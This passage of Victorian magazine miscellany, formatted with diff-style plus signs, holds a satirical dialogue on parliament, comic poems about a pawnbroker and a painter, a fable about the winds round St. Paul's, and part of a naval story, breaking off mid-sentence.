+representatives. You know, of course," said he, "what our 'parliament'
+means?"
+
+"Yes," said I. "I believe I am right in saying that a representative
+means a man who is supposed to be a concentrated essence of the
+thousands and tens of thousands of those who choose him; and that he
+cries out 'black' or 'white' as the fit seizes him. A collection of
+such men means a parliament."
+
+"You have a tolerable notion of what I mean," said the vizier, smiling.
+"Now, certain of these representatives could only cry out 'black' or
+'white' as it choosed to please, not themselves, but certain khans or
+omrahs of our country, who sent them instead of the people. That is the
+principal change we have made."
+
+"I understand--I understand!" I exclaimed, as if a new light had opened
+upon me. "The omrahs, therefore, are displeased, and cry out 'Ruin!'
+and the people are overjoyed, and cry out, 'We are sovereigns;' and
+both are wrong."
+
+The vizier seemed greatly amused with my great discovery, and then
+entered into certain long explanations concerning the various topics
+which I had heard discussed between the smooth and rough infidels whom
+I had met in the coach, and which only tended to obscure the great
+conclusion to which I had come by the light of my own wit. I allowed
+him to talk, and he seemed pleased to do so, as if he were defending
+himself from imputations, and of which, in truth, I understood not one
+word. However, he seemed amazingly struck, when, in rising to go, I
+said,
+
+"It is plain, then, that some great mistake has been committed
+somewhere; otherwise, why should this great country be so terribly torn
+from one end of it to the other by animosities, which seem to have led
+it to the brink of anarchy?"
+
+"No great change," said he, "can take place without producing a great
+shock of interests and opinions, and consequently animosities."
+
+"And that is just what a good and wise government ought to avoid," said
+I. "Our Shah is called _Zil Allah_, the Shadow of the Almighty; and,
+according to the saying of one of our ancient sages, the acts of a king
+ought to follow the same course perceivable in the dispensations of
+Providence, and in the laws by which God, the great and good, directs
+the fates of his creatures. All changes in government ought to be
+as gradual as changes in the seasons. If a great change takes place
+without a previous preparation of the people's minds, and an almost
+imperceptible one in their habits, of course the sudden transition will
+produce a shock so violent, that the mischief may perhaps be without
+remedy. If, during the heats of summer, the Almighty were to give this
+globe a sudden accelerated turn, and throw us at once into the snows of
+winter, the effects might almost produce sudden death upon one half of
+his creatures; but he allows the intervening autumn gradually to blend
+the two extremes, and thus produces a healthy action in the operations
+of nature."
+
+He did not seem so much struck by the wisdom of this speech as I was,
+and I was about leaving him, when I recollected the letter with which I
+was charged from the _Shah-en-Shah_, the king of kings, and asked when
+I should deliver it. He paused a little in thought, and then said,
+
+"Perhaps it may be as well that we hear something from our minister
+in Persia before you deliver your letter." Upon which, seeing that my
+countenance was turned upside down, he said, with great kindness of
+manner, "There will be no harm done if you deliver it immediately. The
+King of England is ready to receive the application of every one, from
+the peasant in the field to the greatest potentate."
+
+
+
+
+MY UNCLE.
+
+A FRAGMENT.
+
+
+                                        He kept a store,
+    A place of refuge to which all might fly
+    In the dark hour of bleak adversity,
+    When sunshine friends, like summer birds, had flown.
+    He was misfortune's shield,--a goodly man!
+    In fact, so kind a soul could scarce be found;
+    For he would lend to any graceless wight
+    A sum of money, and would never ask
+    His bond or bill, or even say "Be sure
+    To pay me this again next week, or so."
+    _He never craved a debtor in his life!_
+
+           *       *       *       *       *
+
+    Around his house, in many a goodly pile,
+    All sorts of wares were ranged in order nice,
+    Shoes, hats, great-coats, and gowns, with many pairs
+    Of certain parts of dress (not pantaloons),
+    Which, it is said, some married females wear.
+                                        Above his door
+    Invitingly were hung three golden balls,
+    As if to say, "Who pennyless would go?"
+    Here is a banking-house, whence every man
+    Who has an article to leave behind,
+    May draw for cash, nor fear his cheque unpaid.
+
+    Ah me! full many an ungrateful wight
+    In this same store, without a sigh or tear,
+    Parted his _bosom friend_, altho' he knew
+    That friend must dwell among the _unredeemed_.
+
+
+
+
+WHY THE WIND BLOWS ROUND ST. PAUL'S.
+
+BY JOYCE JOCUND.
+
+
+Whoever has walked round St. Paul's church-yard must have had good
+evidence of the wind being always boisterous there, on the most balmy
+day of spring, in summer's more sultry hour, in autumn's bracing time,
+or in winter's chilling air; all tides and every season bear strong
+testimony that the wind is ever blowing there, not in those gentle
+gales that love to play and wanton round other edifices, but in such
+rude, boisterous burstings, that the traveller is fain to look to his
+footing, and put up with a _blow_ which is neither to be parried nor
+returned. I cannot fix the precise date, but it was during the last
+century, that a bit of a breeze was kicked up in the higher circles
+among the Winds; and, from the strife that ensued, more serious
+consequences seemed to threaten than were at first apprehended. Whether
+the East was intent on going westward, or the North determined on
+veering to the south, is of trifling import. From words the disputants
+nearly came to blows, and the weathercocks were sadly put to their
+shifts during all the changes that occurred: those who consulted them
+found how little attention was paid to the cardinal points, which from
+time immemorial had been considered their cardinal virtues; in short,
+it was impossible to tell which way the wind lay. Nothing was to be
+heard among them but wranglings, wailings, and contentions.
+
+"As for you," roared old Boreas, addressing a mild-looking individual
+personifying the South wind, "a poor, soft, effeminate creature, only
+fit to breathe o'er a bed of violets, what, in the name of all that's
+trifling, can you possibly presume to know?"
+
+"I may not be so bluff as you, nor so excellent a bully," replied the
+other; "yet I flatter myself that I am equally esteemed by mankind."
+
+"Doubtless! by old maids, invalids, and anglers."
+
+"And I prefer their welcome to the maledictions so lavishly heaped upon
+you, by the aged, the gouty, and the suffering," was the rejoinder.
+
+"Fie! fie!" lisped the West wind, an exquisite of the most exclusive
+order. "If you persist, I shall positively arraign you at the bar of
+good breeding and fashion."
+
+"Which I believe is not situated on _my_ side Temple-bar," exclaimed
+the East, in a tone that reminded one of the equinox.
+
+"Your intimacy with the bar is confined to the Old Bailey," chirruped
+his opponent, who commenced,
+
+    "Cease rude Boreas, blustering railer:
+    List ye."
+
+At this personal attack the North looked particularly black, and the
+East BLEW with increased violence.
+
+"How the puppy squalls!" said the latter, in reference to the singing.
+
+"Rather more melodious than your howling," replied the tormentor; for
+the West wind is occasionally pretty sharp when its powers are exerted.
+
+With this slight specimen you may suppose that the Winds began to get
+very high; ill-natured replies followed angry remarks; while the East
+wind distributed his usual cutting retorts with unsparing profusion. In
+short, the only subject on which they appeared agreed was to perform
+"The Storm," _ad libitum_, with hail and rain accompaniments. There
+is an old adage, "as busy as the Devil in a high wind:" how busy
+that may be, let others determine; but truly his Satanic Majesty was
+never more occupied than on this memorable occasion, for he seemed
+to have possessed the contending parties with an implacable spirit
+of opposition, and contrived to divide his influence so impartially
+that each played the very devil with the other. When the uproar had
+sufficiently subsided to permit observation, it was clearly apparent
+that the North, as was his wont, rather sided with the East, and the
+South as plainly inclined to the West; so, after amusing himself with
+their differences, the crafty instigator of the feud proposed that
+the affair should be permitted to blow over, and, by way of cooling
+themselves, that the four Winds should accompany him on a stroll
+through London streets, towards the City; where he promised them plenty
+of adventures, with many sights worthy their attention. After a few
+more gusts of passion exhibited by the North and East, venting their
+spite upon their more peaceful opponents, the party set forth on their
+ramble, with something like outward decency of demeanour, although
+opposition and dissatisfaction were rankling in their hearts. Their
+cicerone pointed to a plot of ground in Hyde Park.
+
+"Here," said he, "will be erected an imperishable monument to that
+greatest of modern heroes, the victor of a hundred fights. In every
+land shall his matchless deeds be known, and his fame proclaimed by----"
+
+"The four Winds!" exclaimed they all.
+
+"Yonder will be his town-residence," resumed their guide, "the scarcely
+less than princely mansion of the nation's idol; yet, so evanescent is
+popularity, and so great is the distinction between civil matters and
+military, that coming years will display his windows barricaded against
+the assaults of that people whose opinions are as changeable as the----"
+
+"What?" said his hearers in a breath, ready to take offence should he
+indulge in any _personal_ allusion.
+
+"As changeable as--as the weather."
+
+"Oh!" exclaimed the East, with a significant whistle, that sounded very
+like the blast of a war-trumpet.
+
+They walked some distance without further remark, until reaching
+Pall-Mall.
+
+"This," said the Devil, directing their attention to a range of
+buildings on the right, "this will ere long disappear. Of yon regal
+habitation, the scene of revelry and delight, not a vestige will
+remain; vast local improvements will be completed, magnificent
+residences erected; and here a lofty column shall be raised, on whose
+'tall pillar, pointing to the skies,' will be placed the statue of a
+princely commander----"
+
+"Who will doubtless be _highly indebted_ to the people," observed the
+North, in his most unpleasant manner.
+
+"And what may be that heavy-looking temple opposite?" inquired the
+East, pointing to the Opera-house.
+
+"That is celebrated as the resort of beauty, rank, wealth, and fashion."
+
+Here the West wind nodded his assent, as if perfectly cognisant of
+affairs so particularly appertaining to _his_ quarter of the metropolis.
+
+"Where the aristocracy of this kingdom assemble to lavish their wealth
+and favours on foreign _artistes_, as they are called, while native
+industry and talent are neglected and unrequited. But my sentimentality
+outruns my prudence; _I_ patronise the Opera, notwithstanding," said
+the Devil.
+
+"And I," said the West.
+
+Continuing their perambulation, they reached the present site of
+Waterloo-bridge.
+
+"A splendid structure," observed their conductor, "will here span that
+mighty stream, on whose waves float a thousand argosies freighted with
+riches from every distant land. Speculation will soon furnish means
+sufficient for the enterprise, and----"
+
+"The profits?" inquired old Boreas, too far _north_ to lose sight of
+the main chance.
+
+"Will be shared among the subscribers."
+
+"By what rule?"
+
+"_Short_ division," was the answer.
+
+"This building on the right is Somerset House, where the Royal Academy
+holds its annual exhibition of British artists, at which persons pay
+a shilling to view their own portraits that have cost most exorbitant
+sums, if painted by popular professors of the art."
+
+"A noble institution," said the South, in simplicity of soul, "and most
+encouraging to rising talent."
+
+"Very," was the devilish dry reply.
+
+"And where young exhibitors have fine opportunities afforded them to
+profit by the experience, skill, and fostering care of their superiors."
+
+"Exactly," said the Devil, with a malicious smile. "In the arrangement
+and distribution of the pictures the committee show an intimate
+knowledge of 'light and shade,' which is particularly instructive
+to others. They appropriate all the 'light' to their own pictures,
+and the 'shade' to their neighbours'. Yonder dirty-looking gate is
+Temple-bar, where in the olden time traitors' heads stood in goodly
+row, as plentiful as the portraits in the Exhibition, only that the
+'bodies' never came to own them. But"--and here the Devil sighed like
+a furnace--"innovation and improvement have destroyed all venerable
+customs."
+
+So, venting his regrets, they journeyed down Fleet-street, when the
+attention of the gentle South was attracted to the large gloomy edifice
+which is so prominent in that locality.
+
+"Ah!" said their guide, "that is the Fleet."
+
+"Where?" said the East, springing up at the idea of stiff breezes and
+swelling sails; "I see no ships."
+
+"Yet there is no lack of _craft_, I promise you," replied the Devil.
+"One of the considerate laws of this realm declares that a debtor
+shall pay in person what he is deficient in pocket: a sapient method to
+man his Majesty's _fleet_, and as pretty a piece of legislation as _I_
+would propose."
+
+Turning from the prison and its solid-looking brickwork, the first
+glimpse of St. Paul's met their astonished gaze. The strangers were
+enraptured at that mighty monument of man's power and perseverance.
+After surveying the exterior, the Winds expressed an eagerness to view
+the inside of the cathedral; but their importunities were negatived
+by their companion, who intimated in strong terms his repugnance to
+such a proposition. "Besides," he observed, "which of you will pay the
+twopences demanded for admission? By-the-bye, do me the favour to wait
+here a few moments. Some most intimate and particular friends are now
+assembled at the Chapter Coffee-house."
+
+"Do not let us detain you unwillingly," growled the North.
+
+"We are much indebted for your care and guidance," murmured the South.
+
+"I feel more at home in my own quarter of the town," said the East;
+"let me prove no hindrance."
+
+"But promise me to remain,--rely upon my speedy return," said the Devil.
+
+"Agreed!" roared the North, who seemed to think the spot a good place
+to make himself heard.
+
+"Then I depend upon your awaiting my coming. For the present, farewell!"
+
+"_Au revoir!_" lisped the West, as the arch deceiver disappeared down
+one of the narrow avenues which abound in that locality.
+
+Well, the poor Winds went whistling up and down, looking at the shops,
+watching the crowd, and amusing themselves as best they could under
+such disagreeable circumstances. They made several rounds of the
+church, the hands of the clock made several rounds of the dial, yet the
+absent one appeared not; and their patience was nearly exhausted, when
+the South modestly offered to sing them a song, if indeed such feeble
+powers could lighten the time and lessen their suspense, and then
+breathed the following words to a soft plaintive _air_:
+
+
+SONG OF THE SOUTH.
+
+                    I.
+
+    I love to roam where the spice-groves send
+      Their mingled sweets o'er the fragrant air,
+    Where orange-blossoms their bright buds lend
+      To weave a wreath for the blushing fair;
+    And I waft each shining tress aside
+    That shades the brow of the blooming bride.
+
+                     II.
+
+    I love to roam at the sunset hour,
+      To breathe farewell to the parting day,
+    And kiss the dew from each star-lit flower,
+      That ever weeps as light fades away.
+    Oh! I woo them all with my softest sighs,
+    And gently whisper,--that Love never dies!
+
+"Enough! enough!" grumbled the East; "I cannot waste my time in such
+frivolities. Where is the fellow who brought us here?"
+
+"Ay!" said the North, "does he fancy we have nothing better to occupy
+us than attending his pleasure, dancing attendance?"
+
+And thereat the watchers became mighty impatient. At length the North
+declared that he had business of great importance that night upon the
+coast.
+
+"What fools we were to pledge ourselves! My engagements are
+imperative,--go I must!" roared he with vehemence.
+
+"And I," added the East, with similar violence.
+
+"I have made an appointment in Bond-street," muttered the West,
+mentioning the fashionable lounge of that period; "moreover, the
+Countess of B---- expects me at her party. I am irrevocably bound to
+the countess, and would not disappoint the sweet creature for worlds."
+
+"I cannot remain alone in this gloomy place," sighed the South.
+
+"Listen!" said the North, puffing himself up to an unusual pomposity,
+even for him; "I have a plan to remedy the dilemma. I go,--that is
+settled. You three can easily find an excuse for my absence."
+
+"And mine," cried the East. "Two are very good company,--three damp
+conversation."
+
+"As I have nothing particular to communicate, I shall follow your
+example," said the West, looking significantly at the East.
+
+"I was assured the puppy would oppose me," grunted the latter; "'tis
+his constant practice."
+
+Thus affairs appeared in tolerable train for a repetition of the
+former bickering, when it was at last decided, but not without much
+turbulent and acrimonious feeling, that each should wait in turn,
+and give timely notice to the others of the truant's arrival; and
+with this understanding they separated, leaving one on guard. It
+is hardly necessary to state that the Devil never reappeared. He
+always leaves his votaries in the lurch; and on this occasion his
+boon companions at the Chapter gave him such good cheer, that he
+forgot the poor winds, who have ever since been alternately looking,
+but in vain, for his arrival. To their honour be it told, that they
+each and every one performed his promise of remaining for a stated
+period, neither excepting the boisterous North, the cutting East, the
+fashionable West, nor the gentle South. Their various watchings may be
+easily distinguished by their respective degrees of violence in the
+neighbourhood, and to this very hour is one of them to be heard either
+roaring, blowing, moaning, or sighing for their emancipation. And this
+accounts for the fact of their constant presence, and shows why "THE
+WIND BLOWS ROUND ST. PAUL'S."
+
+The tradition inculcates a moral. Had the four Winds pursued the "path
+of duty," this trial had been spared them; but they listened to the
+tempter. Let all profit by their example: Men, as well as Winds, should
+"KEEP WITHIN COMPASS."
+
+
+
+
+RATHER HARD TO TAKE.
+
+
+    An artist--'tis not fair to tell his name;
+      But one whom Fortune, in her freakish tricks,
+      Saluted with less smiles than kicks,
+    More to the painter's honour, and her shame,--
+    Was one day deep engaged on his _chef d'œuvre_,
+    (A painting worthy of the Louvre,)
+    Dives and Lazarus the theme,--
+    The subject was his earliest boyish dream!
+    And, with an eye to colour, breadth, and tone,
+      He painted, skilfully as he was able,
+      The good things on the rich man's table,--
+    Wishing they were, no doubt, upon his own;
+    When suddenly his hostess--best of creatures!--
+    Made visible her features,
+    And to this world our artist did awaken:
+      "A gentleman," she said, "from the next street,
+      Had sent a special message in a heat,
+    Wanting a likeness taken."
+    The artist, with a calmness oft the effect
+    Of tidings which we don't expect,
+    Wip'd all his brushes carefully and clean,
+    Button'd his coat--a coat which once had been,--
+    Put on his hat, and with uncommon stress
+    On the address,
+    Went forth, revolving in his nob
+    How his kind hostess, when he'd got the job,--
+    Even before they paid him for his skill,--
+    Would let him add a little to the bill.
+
+    He found a family of six or seven,
+      All grown-up people, seated in a row;
+    There might be seen upon each face a leaven
+      Of recent, and of decent woe,
+    But that the artist, whose chief cares
+    Were fix'd upon his own affairs,
+    Gazed, with a business eye, to be acquainted
+    Which of the seven wanted to be painted.
+
+    But a young lady soon our artist greeted,
+    Saying, in words of gentlest music, "Ah!--
+    Pray, Mr. Thingo'me, be seated,--
+    We want a likeness of our grandpapa."
+
+    Such chances Fortune seldom deigns to bring:
+    The very thing!
+    How he should like
+    To emulate Vandyke!
+    Or, rather--still more glorious ambition--
+    To paint the head like Titian,
+    A fine old head, with silver sprinkled:
+    A face all seam'd and wrinkled:--
+    The painter's heart 'gan inwardly rejoice;
+      But, as he pondered on that "fine old head,"
+    Another utter'd, in a mournful voice,
+      "But, sir, he's dead!"
+
+    The artist was perplex'd--the case was alter'd:
+      Distrust, stirr'd up by doubt, his bosom warps;
+    "God bless my soul!" he falter'd;
+      "But, surely, you can let me see the corpse?
+    An artist but requires a hint:
+    There are the features--give the cheeks a tint--
+    Paint in the eyes--and, though the task's a hard 'un,
+      You'll find the thing, I'll swear,
+    As like as he can,--no, I beg your pardon,--
+      As like as he _could_ stare!"
+
+    "Alas! alas!" the eldest sister sigh'd,
+    And then she sobb'd and cried,
+    So that 'twas long ere she again could speak,--
+    "We buried him last week!"
+
+    The painter heaved a groan: "But, surely, madam,
+      You have a likeness of the dear deceased;
+      Some youthful face, whose age might be increased?"
+    "No, no,--we haven't, sir, no more than Adam;
+      Not in the least!"
+
+    This was the strangest thing that e'er occurr'd;--
+      "You'll pardon me," the baffled painter cried;
+    "But, really, I must say, upon my word,
+      You might have sent for me before he died."
+    And then he turn'd to the surviving tribe,--
+    "Can you describe
+    But a few items, features, shape, and hue?
+    I'll warrant, I'll still paint the likeness true!"
+
+    "Why, yes, we could do that," said one: "let's see;
+    He had a rather longish nose, like me."
+    "No," said a second; "there you're wrong,
+    His nose was not so very long."
+    "Well, well," pursued the first; "his eyes
+    Were rather smaller than the common size."
+    "How?" cried a third, "how?--not at all;
+    Not small--not small!"
+    "Well, then, an oval face, extremely fine."
+    "Yes," said the eldest son, "like mine."
+    The painter gazed upon him in despair,--
+    The fellow's face was square!
+
+    "I have it," cried another, and arose;
+    "But wait a moment, sir," and out she goes.
+    With curiosity the artist burn'd--
+    "What was she gone for?" but she soon return'd.
+    "I knew from what _they_ said, to expect to gain
+    A likeness of grandpa was quite in vain;
+    But, not upon that point to dwell,
+    I have got something here will do as well
+    As though alive he for his portrait sat!"
+      So, saying, with a curtsey low,
+    She from behind, with much parade and show,
+      Presented an old hat!
+
+        C.W.
+
+
+
+
+NIGHTS AT SEA;
+
+_Or, Sketches of Naval Life during the War_.
+
+BY THE OLD SAILOR.
+
+No. IV.
+
+
+                  "Impute it not a crime
+    To me, or my swift passage, that I slide
+    O'er sixteen years." * * *
+
+                  "There's some ill planet reigns;
+    I must be patient till the heavens look
+    With an aspect more favourable."
+
+        SHAKSPEARE.
+
+
+There glides the dashing Spankaway over the smooth surface of the
+ocean, whilst, close in her wake, moves the vanquished Hippolito.
+The damages have been repaired so as to be scarcely perceptible; the
+shot-holes have been well plugged and secured; and the two frigates
+appear more like consorts on a cruise than enemies so recently engaged
+in deadly strife. The breeze is a royal breeze; and gallantly the
+beautiful ships are splitting the yielding waters, whilst the watches
+are employed in necessary duties. Near the taffrail of the Spankaway
+stand two prominent figures, both remarkably fine-looking men, who
+might be taken for brother officers but for the difference in their
+uniforms. The one on the larboard hand has his head erect, his chest
+thrown forward, his left hand thrust into his waistcoat, and his
+right foot in advance planted firmly on the deck; he is indulging in
+high-wrought and proud feelings as he silently gazes on the prize; his
+voice is not heard, but there is a speaking meaning in his look as he
+contemplates the red cross of St. George upon a white field floating
+majestically above the tricolour, whilst his own untarnished ensign
+waves singly at his peak. The individual on the starboard hand has a
+cast of melancholy on his countenance; his head is depressed, his arms
+are folded on his breast; and, though sensible that he has done his
+duty, and defended his command as long as his crew rendered it tenable,
+yet he knows that he was not well supported by his fellow-citizens,
+among whom equality is the order of the day; and he is suffering from
+a sense of deep humiliation at the degraded condition in which he is
+placed. These are the captains of the two frigates,--the victor and the
+vanquished.
+
+Upon the quarter-deck of the Hippolito is Mr. Seymour, hurrying to
+and fro, issuing his orders, and rendering the prize as effective as
+possible. There is a laughing glee upon his features that plainly
+evidences the pleasure he cherishes in his heart; he looks around with
+exaltation as he anticipates the moment when he himself shall have
+such a desirable command. One step he makes sure of; a few hours more
+may perform fresh wonders; and his mind, with all the vividness of a
+seaman's hope, is making a hop, skip, and a jump progress to certain
+conclusions favourable to promotion. The fact is, Seymour had been long
+neglected; he was an excellent officer, and a brave man; had fought in
+several actions, been severely wounded on more than one occasion; but
+the coveted distinction had been withheld because he was not a first
+lieutenant. Now, however, he made sure of it; and he already began to
+feel the weight of the epaulette on the left shoulder, with an ardent
+determination to do something that would transfer it to the right
+shoulder.
+
+But whither are the frigates steering? their heads are not on the
+compass-point for a friendly port, but directly the reverse. Night
+is coming on; they are running into the gulf of Genoa. There are the
+Hieres, a little open on the larboard bow, just rising from the sea.
+South-west should carry them to Gibraltar, and there are they going
+away north-east.
+
+"Your undertaking is rather hazardous, my lord," said Citizen Captain
+Begaud; "there are ships of the line in the immediate neighbourhood,
+and the English fleet may have again resumed its station."
+
+"If the latter is the case," replied Lord Eustace, "I can run no
+hazard; for Lord Nelson will have a bright eye upon the enemy. On
+the other hand, the enterprise is worth a little risk; and, though I
+despise the fellows who gave me the information, yet it is my duty, as
+well as according with my inclination, to make the most of it."
+
+"_Vous avez raison, milord_," rejoined the Frenchman; "_mais_--" he
+paused: "_sacré!_ the rascal who told you merits the guillotine; he is
+a disgrace to the _grande nation_."
+
+"Well, I'm blow'd if I can make any thing o' this here!" exclaimed
+old Savage, the boatswain, to his subordinate, Jack Sheavehole, as
+they stood upon the forecastle; "it beats my larning out and out. Here
+we captures a French frigate, and has all the prisoners in limbo,
+when, instead of seeing her into a place of safety, why here we goes
+happy-go-lucky right down into the bight of Ginoar, slap into the
+enemy's teeth."
+
+"Is that why you calls it a bite, Mr. Savage?" asked Jemmy Ducks,
+touching his hat with all due respect.
+
+"Calls what a bite, you egg-sucker?" responded the boatswain somewhat
+roughly, at the presumption of the inquirer in addressing an officer of
+his distinction so freely. "Calls what a bite?"
+
+"Going into the enemy's teeth, sir!" answered the humble poulterer,
+again touching his straw covering.
+
+"Did you ever hear such an hignoramus, Jack?" said the boatswain to his
+veteran mate, in a tone of extreme contempt.
+
+"Why, for the matter o' that, not often, sir," answered the individual
+addressed, "thof it is but nat'ral for him;" and, seeing that the
+boatswain was twiddling his rattan with his fingers, as a prelude to
+castigation, he turned to the poulterer, and, giving him a friendly
+shove, exclaimed, "Away out o' that, Jemmy; there's the cow's babby
+bleating for you;" and off he went.
+
+"The sarvice is going to ----, Jack!" said Mr. Savage; "the captain
+arn't half strict enough with them there 'long-shore lubbers, as pay no
+more respect to an officer than they do to a timber-head! and, in the
+regard o' that, his lordship himself too often speaks to 'em as if they
+had flesh and blood like his own, when, Lord love you! they arn't got
+never no such thing. And where his lordship is bound to now, puzzles my
+calculations. I say, Muster Blueblazes," to the gunner, who approached
+them, "what's all this here about?"
+
+"Flannel cartridges," replied the gunner, passing on in a hurry, and
+calling to his several mates to descend to the magazine.
+
+"Flannel devils!" retorted old Savage. "That's all the answer I gets
+for my pains! Pray, Muster Nugent, may I presume to ax you if you can
+just deligthning my mind as to what cruise we're going on in this
+course, seeing as it takes us slap down into the bight of the bay?"
+
+"Gulf, Mr. Savage,--not bay," replied the junior lieutenant, "the gulf
+of Genoa, named after a celebrated city that formerly monopolised the
+commerce of the world. Christopher Columbus was a Genoese. Did you
+never read about Christopher Columbus?"
+
+"Can't say as I have, sir," returned the impatient boatswain; "are we
+bound in chase of him, sir?"
+
+"In chase of whom? Columbus?" responded the lieutenant, laughing; "why,
+he's been dead nearly two hundred years. No, no, Mr. Savage; we're
+going----"
+
+"Mr. Nugent!" shouted Lord Eustace from the quarter-deck; and, to the
+great vexation of the boatswain, who was on the _qui-vive_ to ascertain
+where they were bound, the young officer instantly responded, and went
+aft.
+
+"That's just the way I'm al'ays sarved," said Savage petulantly, and
+applying his rattan to the shoulders of a poor unfortunate lad who
+passed him without touching the locks that hung clustering on his
+forehead,--for hat or cap he had none. "Here's a pretty know-nothing!
+Do you forget, sir, that an officer's an officer, sir? and it's
+customary, sir, to pay proper respect, sir, to your superiors, sir,
+your betters, sir, you scape-grace, lubberly blackguard, sir;" and
+down came the stick at every "sir." The boy made the best of his way
+across the forecastle; but was again stopped by the boatswain. "Come
+back here, you wagabone. Don't you know, sir, that it's a great mark
+of disrespect, sir, to run away when an officer's starting you, sir?
+There, go along, you useless lumber! pretty regylations we shall have
+by and by, when such hard bargains as you fall aboard the King's
+biscuit! We're all going to the devil together, Jack!" and he turned to
+look over the bows.
+
+"If we are going to the devil," muttered Jack to the captain of the
+forecastle, "I hopes he'll sarve out his infarnal favours as the
+Lords of the Admiralty shares the prize-money,--three parts among the
+officers."
+
+Lovely is a Mediterranean twilight in those balmy months that breathe
+the odorous incense of exulting Nature in all its richest perfumes!
+then is the hour for contemplation! it is then the mind ranges over
+its best affections; and hearts, though oceans divide them, hold a
+mysterious communing with each other.
+
+    "Deeper, oh twilight, let thy shades increase
+    Till every feeling, every pulse, is peace."
+
+It is the poet alone that can describe its influences, for the art of
+the painter is baffled; he cannot produce the deepening tints as the
+web of darkness appears to be progressively weaving over the face of
+the heavens.
+
+"I love this season," said Lord Eustace to his captive, as they still
+stood side by side abaft; "there is a holy tranquillity about it that
+calms every turbulent passion, and soothes the heart in its sorrow."
+
+"_C'est vrai, milord_," returned the Frenchman, mournfully enough for
+one of his country; "and yon star there," pointing to Algol in Medusa's
+head, "has ever been to me the star of my destiny. Three days since
+I quitted Toulon; that orb at night was dim, and a heavy foreboding
+rested on my spirit; on the following night its brightness, even its
+dimensions, had decreased, and then I knew the doom of my honour was at
+hand."
+
+"Whatever presentiment you might have had," said Lord Eustace, "rest
+satisfied your honour remains untarnished. You fought your ship well,
+and be assured my account of the action shall do you ample justice.
+But I should like to know why you consider that particular star as
+connected with your fortunes."
+
+"You shall be gratified then," responded the Frenchman, "if you have no
+objections to a tale of horror."
+
+"None, none,--not in the least!" answered the noble captain; "the hour,
+the quiet, the dubious light, it is just the time for such a thing.
+Pray favour me, and I will gaze on the Gorgon, and listen with profound
+attention."
+
+"We are both of us young, my lord," commenced the Frenchman; "I am but
+six-and-twenty, and you----"
+
+"One year your junior, Monsieur Capitaine," uttered his lordship; "but
+I fancy I have seen more active service than you?"
+
+"Afloat, 'tis probable, my lord," rejoined Begaud. "I was not at first
+destined for the marine: my early career was in the army of the North,
+when your Duke of York, deserted by the allied powers, (who received
+your money whilst they negotiated with the Directory,) retreated before
+our victorious troops. But I am forestalling my narrative,--heaving
+ahead of my reckoning, I think you'd call it. I am by birth a native
+of Paris, and the night of my entering the world was one of wailing,
+lamentation, and death. It was that on which three thousand persons
+were killed and wounded during a grand exhibition of fire-works,
+displayed in honour of the marriage of the Dauphin to the Archduchess
+Antoinetta Maria. Thus was I ushered into existence amidst shrieks and
+groans; and neither of my parents ever beheld their child. My father
+perished in the streets; the circumstance was indiscreetly announced to
+my mother; it brought on premature labour, and the living infant was
+taken from a corpse. What could be expected of such an introduction
+into life? I had an uncle residing upon the vine-clad hills that rise
+near the banks of the Garonne, a few leagues from Bordeaux, and there
+I passed my boyhood; but he was an austere man, and, having a large
+family of his own, I was looked upon as an incumbrance, and the only
+individual who appeared to commiserate my fate was an aged woman who
+lived in a cottage upon the estate, and was looked upon as a sibyl of
+no mean pretensions. She it was who first taught me to look upon yon
+star, and watch its capricious changes, so as to connect them with the
+occurrences of my life; and she it was who read my future fate on the
+tablets of inspiration. And who was this female? Twenty years before
+she had been the favourite of fortune, enjoying the luxuries of the
+capital, yet with an unblemished reputation. She had an only child,--a
+daughter, resplendent in her opening beauty of girlhood,--a type of
+that loveliness with which we characterise the angels. She was seen in
+the garden of the Tuileries by that depraved debauchee, the Fifteenth
+Louis; his agents secretly forced her to the Parc aux Cerfs; and the
+distracted mother, ascertaining the lost condition of her child, spoke
+publicly and loudly of the cruel grievance. But there was a Bastile
+then, monsieur," added he, with bitter emphasis, "engines of torture
+and iron cages to silence babblers; and thither was the parent sent by
+order of that monarch, who held the daughter in his unchaste embraces.
+That fellow was a wretch, my lord. It was he, and such as he, that
+deluged France with blood. The measure of their iniquity ran over. But
+the Bourbons were ever an accursed race. The property of the mother
+was seized upon by the emissaries of the police; and when a few years
+afterwards, she was released from her imprisonment, it was to find
+herself a homeless outcast, and her daughter,--the beauteous child
+of her soul's affections,--the inmate of a madhouse. Kings should be
+the protectors, the benefactors of their subjects; not their bane,
+their curse, the agents of their torture. Monsieur, that woman was my
+relative, and early did she stamp upon my young heart that hatred to
+royalty which remains unconquerably the same to this very hour. Yes,
+here it is," and he pressed his hand with energetic firmness over the
+seat of life; "here,--here it is, and, like a memorial carved on the
+bark of a sapling, it has become enlarged with my growth, and deeper
+indented with my years. It is my fate, monsieur,--it is my fate.
+
+"The days of my boyhood passed on in mental misery. I felt for the
+injuries that had been heaped upon my only friend; I yielded to her
+instructions to be prepared against the hour of vengeance, when
+retributive justice should sweep tyranny from the throne; I nursed the
+hope in the secret recesses of my breast; I cherished it in my heart's
+core; it was the subject of my nightly dreams and waking thoughts; and,
+whilst other lads sought amusement in boyish pastimes, the demon of
+revenge led me into solitary nooks, where I hoarded up my ardent desire
+to redress the wrongs of Madame T----. Such, monsieur, was Jacques
+Begaud in his thirteenth year, when, tired of a vegetative life, I
+quitted my uncle's house, which, though it had been a place of shelter,
+had never been a home to me, and travelled on foot to Toulon. My small
+stock of money was soon expended; but yet I wanted for nothing. A piece
+of bread and a little fruit, with some wine, no one denied me; and,
+monsieur, I felt the sweets of liberty. Why I went to Toulon I do not
+know, for Paris was my aim; and Madame T---- had prophesied,--there was
+something terrible in her denunciations,--she had prophesied desolation
+and destruction to the house of the Bourbons; and as rumours were
+spreading of disunion at court, so did she eagerly feed upon them,
+and urge me to redress her wrongs. It is true the debauchee was in
+his grave; but then there was his grandson, the celebration of whose
+marriage had made me an orphan even before my birth; and, boy as I was,
+with a mind care-worn and cankered, I even looked upon _that_ event as
+a legitimate cause of hatred."
+
+"But the star, the star!" exclaimed Lord Eustace; "I am anxious to
+learn in what manner you considered yourself influenced by the star."
+
+"Madame T---- made it the source of her divination," returned Citizen
+Begaud. "She would sit and silently gaze upon it for hours; and at my
+departure she bade me observe it on the first day of every month. If in
+full splendour, my career for the time would be prosperous; if shorn
+of its glory, I was then to expect adversity. I strictly followed her
+directions, and my fortunes were as varied as the brightness of yon
+orb. At Toulon I was much struck with the naval yard and arsenal; and
+in the former I laboured for several months in the humble occupation
+of an oakum-picker, gaining not only sufficient to keep life within
+me, but even with my scanty pittance I contrived to save a small
